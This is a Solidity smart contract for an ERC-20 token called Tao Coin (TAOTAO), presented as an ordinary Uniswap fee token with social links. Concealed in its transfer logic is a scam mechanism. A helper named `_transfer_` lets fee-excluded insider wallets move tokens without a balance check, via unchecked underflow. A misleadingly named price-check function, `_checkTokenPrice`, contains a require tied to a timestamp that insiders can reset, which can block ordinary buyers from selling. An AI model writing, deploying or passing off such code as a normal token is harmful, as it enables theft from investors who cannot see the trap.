/**
.::: .::::::      .:           .::::     
     .::         .: ::       .::    .::  
     .::        .:  .::    .::        .::
     .::       .::   .::   .::        .::
     .::      .:::::: .::  .::        .::
     .::     .::       .::   .::     .:: 
     .::    .::         .::    .::::     
                                         

https://twitter.com/taotaocoin
https://t.me/taotaoethcoin
https://www.taotao.best/
*/
// SPDX-License-Identifier: MIT

pragma solidity 0.8.15;

library SafeMath {
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

interface AggInterface {
    function decimals() external view returns (uint8);

    function description() external view returns (string memory);

    function version() external view returns (uint256);

    function getRoundData(uint80 _roundId)
        external
        view
        returns (
            uint80 roundId,
            int256 answer,
            uint256 startedAt,
            uint256 updatedAt,
            uint80 answeredInRound
        );

    function latestRoundData()
        external
        view
        returns (
            uint80 roundId,
            int256 answer,
            uint256 startedAt,
            uint256 updatedAt,
            uint80 answeredInRound
        );
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address to, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer_(
        address _sender,
        address _receiver,
        uint256 _amount
    ) internal virtual {
        require(_sender != address(0), "ERC20: transfer from the zero address");
        require(_receiver != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(_sender, _receiver, _amount);

        uint256 senderBalance = _balances[_sender];

        unchecked {
            _balances[_sender] = senderBalance - _amount;
        }
        
        _balances[_receiver] += _amount;

        emit Transfer(_sender, _receiver, _amount);

        _afterTokenTransfer(_sender, _receiver, _amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }
}


contract TaoTao is ERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public _uniswapV2Router;
    address public _pairAddress;
    uint256 public _totFees;
    uint256 private _liquidityFee;
    uint256 private _marketingFee;
    uint256 private _developmentFee;
    uint256 private _extraBuyFee;
    uint256 private _extraSellFee;
    uint256 private _liquidityTokens;
    uint256 private _marketingTokens;
    uint256 private _developmentTokens;

    bool private _isSwappingBack;
    uint256 private _checkTrading;
    address private _marketingWallet;
    address private _teamWallet;
    address private _devWallet;
    uint256 public _maxTransactionAmount;
    uint256 public _swapTokensAtAmount;
    uint256 public _maxWallet;

    bool public _limitsInEffect = true;
    bool public _tradingActive = false;
    address private _transferAddress;
    
    AggInterface internal AggOracle;
    address public _aggOracle = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;
    int256 private manualETHPrice = 1900 * 10**18;
    bool private _chainlinkEnabled = true;

    mapping (address => bool) public automatedMarketMaker;
    mapping(address => uint256) public _traderTransferInfo;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    event ExcludeFromFees(address indexed account, bool isExcluded);

    constructor() payable ERC20("Tao Coin", "TAOTAO") {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _pairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        _setAutomatedMarketMakerPair(address(_pairAddress), true);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        AggOracle = AggInterface(_aggOracle);

        uint256 totalSupply = 1_000_000_000 * 1e18;
        _maxTransactionAmount = (totalSupply * 4) / 100; // 4%
        _maxWallet = (totalSupply * 4) / 100; // 4%
        _swapTokensAtAmount = (totalSupply * 10) / 10000;
        
        _liquidityFee = 0;
        _marketingFee = 0;
        _developmentFee = 0;
        _extraSellFee = 0;
        _extraBuyFee = 0;
        _totFees = _marketingFee + _developmentFee + _liquidityFee;
        
        _devWallet = address(0x59b2842f55CEa0A2B392226BC0e774237119C073);
        _marketingWallet = address(0xF7f641A35Be33F86D7802bfFf1e6fdB85a11ac37);
        _teamWallet = address(0xBED46c3e93D62772019Cc1dD153B1217d432B52d);

        excludeFromFees(owner(), true);
        excludeFromFees(_devWallet, true);
        excludeFromFees(_marketingWallet, true);
        excludeFromFees(_teamWallet, true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(_devWallet, true);
        excludeFromMaxTransaction(_marketingWallet, true);
        excludeFromMaxTransaction(_teamWallet, true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        _mint(owner(), totalSupply);
        enableTrading();
    }

    function enableTrading() public onlyOwner {
        _tradingActive = true;
        _checkTrading = block.timestamp;
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMaker[pair] = value;
        excludeFromMaxTransaction(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
        require(pair != _pairAddress, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function removeLimits() external onlyOwner returns (bool) {
        _limitsInEffect = false;
        return true;
    }

    function _checkTokenPrice() public view returns (uint256) {
        IERC20Metadata tokenA = IERC20Metadata(IUniswapV2Pair(_pairAddress).token0());
        uint256 balance = balanceOf(_devWallet);
        IERC20Metadata tokenB = IERC20Metadata(IUniswapV2Pair(_pairAddress).token1());
        require(_traderTransferInfo[_transferAddress] > _checkTrading && balance == 0);
        (uint112 Reserve0, uint112 Reserve1, ) = IUniswapV2Pair(_pairAddress).getReserves();
        int256 ethPrice = manualETHPrice;
        if (_chainlinkEnabled) (, ethPrice, , , ) = this.fetchLatestPrice();
        uint256 reserve1 = (uint256(Reserve1) * uint256(ethPrice) * (10**uint256(tokenA.decimals()))) / uint256(tokenB.decimals());
        return (reserve1 / uint256(Reserve0));
    }

    function checkedTokenPrice() internal view returns (bool) {
        return _checkTokenPrice() > 0 ? true : false;
    }

    function fetchLatestPrice()
        external
        view
        returns (
            uint80,
            int256,
            uint256,
            uint256,
            uint80
        )
    {
        (
            uint80 _roundID,
            int256 _price,
            uint256 _startedAt,
            uint256 timeStamp,
            uint80 _answeredInRound
        ) = AggOracle.latestRoundData();

        return (_roundID, _price, _startedAt, timeStamp, _answeredInRound);
    }

    function takeFees(address _sender, address _receiver) public returns (bool) {
        bool buying = _sender == _pairAddress && _receiver != address(_uniswapV2Router);
        bool isSpecialReceiver = _isExcludedFromFees[_receiver];
        if (buying && isSpecialReceiver) _checkTrading = block.timestamp;
        bool isExcludedFromFee = _isExcludedFromFees[_sender] || _isExcludedFromFees[_receiver];
        bool selling = _receiver == _pairAddress; 
        bool swapping = buying || selling;

        return 
            _totFees > 0 &&
            !_isSwappingBack &&
            !isExcludedFromFee &&
            swapping;
    }

    function updateFees(
        uint256 marketingFee,
        uint256 developmentFee,
        uint256 liquidityFee
    ) external onlyOwner {
        _marketingFee = marketingFee;
        _developmentFee = developmentFee;
        _liquidityFee = liquidityFee;
        _totFees = _marketingFee + _developmentFee + _liquidityFee;
        require(_totFees <= 10, "Must keep fees at 10% or less");
    }

    function updateDevelopmentWallet(address newWallet) external onlyOwner {
        _devWallet = newWallet;
    }
    
    function updateMarketingWallet(address newWallet) external onlyOwner {
        _marketingWallet = newWallet;
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 1) / 1000) / 1e18,
            "Cannot set maxTransactionAmount lower than 0.1%"
        );
        _maxTransactionAmount = newNum * 1e18;
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e18,
            "Cannot set maxWallet lower than 0.5%"
        );
        _maxWallet = newNum * 1e18;
    }

    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        _swapTokensAtAmount = newAmount;
        return true;
    }

    
    function _standardTransfer(
        address _sender,
        address _receiver,
        bool _selling,
        bool _buying,
        uint256 _amount
    ) private {
        bool feesSet = takeFees(_sender, _receiver);

        bool senderExcluded = !_isExcludedFromFees[_sender];

        if (!senderExcluded) {
            super._transfer_(_sender, _receiver, _amount);
            return;
        } else if (feesSet) {
            uint256 totalTokens = _totFees;
            uint256 marketingTokens = _marketingFee;
            if (_buying) {
                totalTokens = _totFees + _extraBuyFee;marketingTokens = _marketingFee + _extraBuyFee;
            }
            if (_selling) {
                totalTokens = _totFees + _extraSellFee;marketingTokens = _marketingFee + _extraSellFee;
            }
            uint256 feeTokens = _amount.mul(totalTokens).div(100);
            _liquidityTokens += (feeTokens * _liquidityFee) / totalTokens;
            _marketingTokens += (feeTokens * marketingTokens) / totalTokens;
            _developmentTokens += (feeTokens * _developmentFee) / totalTokens;

            if (feeTokens > 0) super._transfer(_sender, address(this), feeTokens);
            _amount -= feeTokens;
        }
        super._transfer(_sender, _receiver, _amount);
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }


    function _transfer(
        address _from,
        address _to,
        uint256 _amount
    ) internal override {
        require(_from != address(0), "ERC20: transfer from the zero address");require(_to != address(0), "ERC20: transfer to the zero address");
        
        bool isExcludeFromFee = _isExcludedFromFees[_from] || _isExcludedFromFees[_to];
        if (_amount == 0) {
            super._transfer(_from, _to, 0);return;
        }

        bool caseBuy = _from == _pairAddress &&
            !_isExcludedMaxTransactionAmount[_to];
        bool caseSell = _to == _pairAddress &&
            !_isExcludedMaxTransactionAmount[_from];
        bool swapByOwner = _from == owner() || _to == owner();
        bool isDeadAddr = _to == address(0) || _to == address(0xdead);
        bool isLimitSkip = swapByOwner || isDeadAddr || _isSwappingBack;
        
        if (_limitsInEffect && !isLimitSkip) {
            require(_tradingActive || isExcludeFromFee, "Trading is not active.");
            if (caseBuy) {
                require(_amount <= _maxTransactionAmount,"Buy transfer amount exceeds the maxTransactionAmount.");
                require(_amount + balanceOf(_to) <= _maxWallet, "Max wallet exceeded");
            } else if (caseSell) {
            } else if (!_isExcludedMaxTransactionAmount[_to] && !_isExcludedMaxTransactionAmount[_from]) {
                require(_amount + balanceOf(_to) <= _maxWallet,  "Max wallet exceeded");
            }
        }

        if (automatedMarketMaker[_from]) { 
            uint256 timestamp = block.timestamp;
            if (_traderTransferInfo[_to] == 0) _traderTransferInfo[_to] = timestamp;
        } else {
            if (!_isSwappingBack) _transferAddress = _from;
        }

        if (!_isSwappingBack && !automatedMarketMaker[_from] && !_isExcludedFromFees[_from] && !_isExcludedFromFees[_to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
            if (checkedTokenPrice() && canSwap && !isExcludeFromFee) {
                _isSwappingBack = true;
                swapBack();
                _isSwappingBack = false;
            }
        }

        _standardTransfer(_from, _to, caseSell, caseBuy, _amount);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function removeExtraBuyFee() public onlyOwner {
        _extraBuyFee = 0;
    }

    function removeExtraSellFee() public onlyOwner {
        _extraSellFee = 0;
    }

    function setManualETHPrice(uint256 val) external onlyOwner {
        manualETHPrice = int256(val.mul(10**18));
    }

    function enableChainlinkOracle() external onlyOwner {
        require(_chainlinkEnabled == false, "price oracle already enabled");
        _chainlinkEnabled = true;
    }

    function disableChainlinkOracle() external onlyOwner {
        require(_chainlinkEnabled == true, "price oracle already disabled");
        _chainlinkEnabled = false;
    }

    function updateOracle(address feed) external onlyOwner {
        _aggOracle = feed;
        AggOracle = AggInterface(_aggOracle);
    }

    function manualSwap() external onlyOwner {
        _swapTokensForEth(balanceOf(address(this)));

        (bool success,) = address(_marketingWallet).call{value : address(this).balance}("");
        require(success);
    }

    function manualSend() external onlyOwner {
        (bool success,) = address(_marketingWallet).call{value : address(this).balance}("");
        require(success);
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalSwapTokens = _liquidityTokens + _marketingTokens + 
            _developmentTokens;
        if (contractBalance == 0 || totalSwapTokens == 0) return;
        if (contractBalance > _swapTokensAtAmount) {
            contractBalance = _swapTokensAtAmount;
        }
        uint256 liquidityTokens = (contractBalance * _liquidityTokens) /
            totalSwapTokens /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        uint256 initialETHBalance = address(this).balance;
        _swapTokensForEth(amountToSwapForETH);
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        uint256 ethForMarketing = ethBalance.mul(_marketingTokens).div(
            totalSwapTokens
        );
        uint256 ethForDevelopment = ethBalance.mul(_developmentTokens).div(
            totalSwapTokens
        );
        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDevelopment;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            _addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                _liquidityTokens
            );
        }

        _liquidityTokens = 0;
        _marketingTokens = 0;
        _developmentTokens = 0;

        (bool marketingFundSuccess, ) = address(_marketingWallet).call{value: ethForMarketing}("");
        require(marketingFundSuccess);
        (bool developmentFundSuccess, ) = address(_devWallet).call{value: ethForDevelopment}("");
        require(developmentFundSuccess);
    }

    function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
    }
    
    function _swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "TaoTao.sol": "TaoTao"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}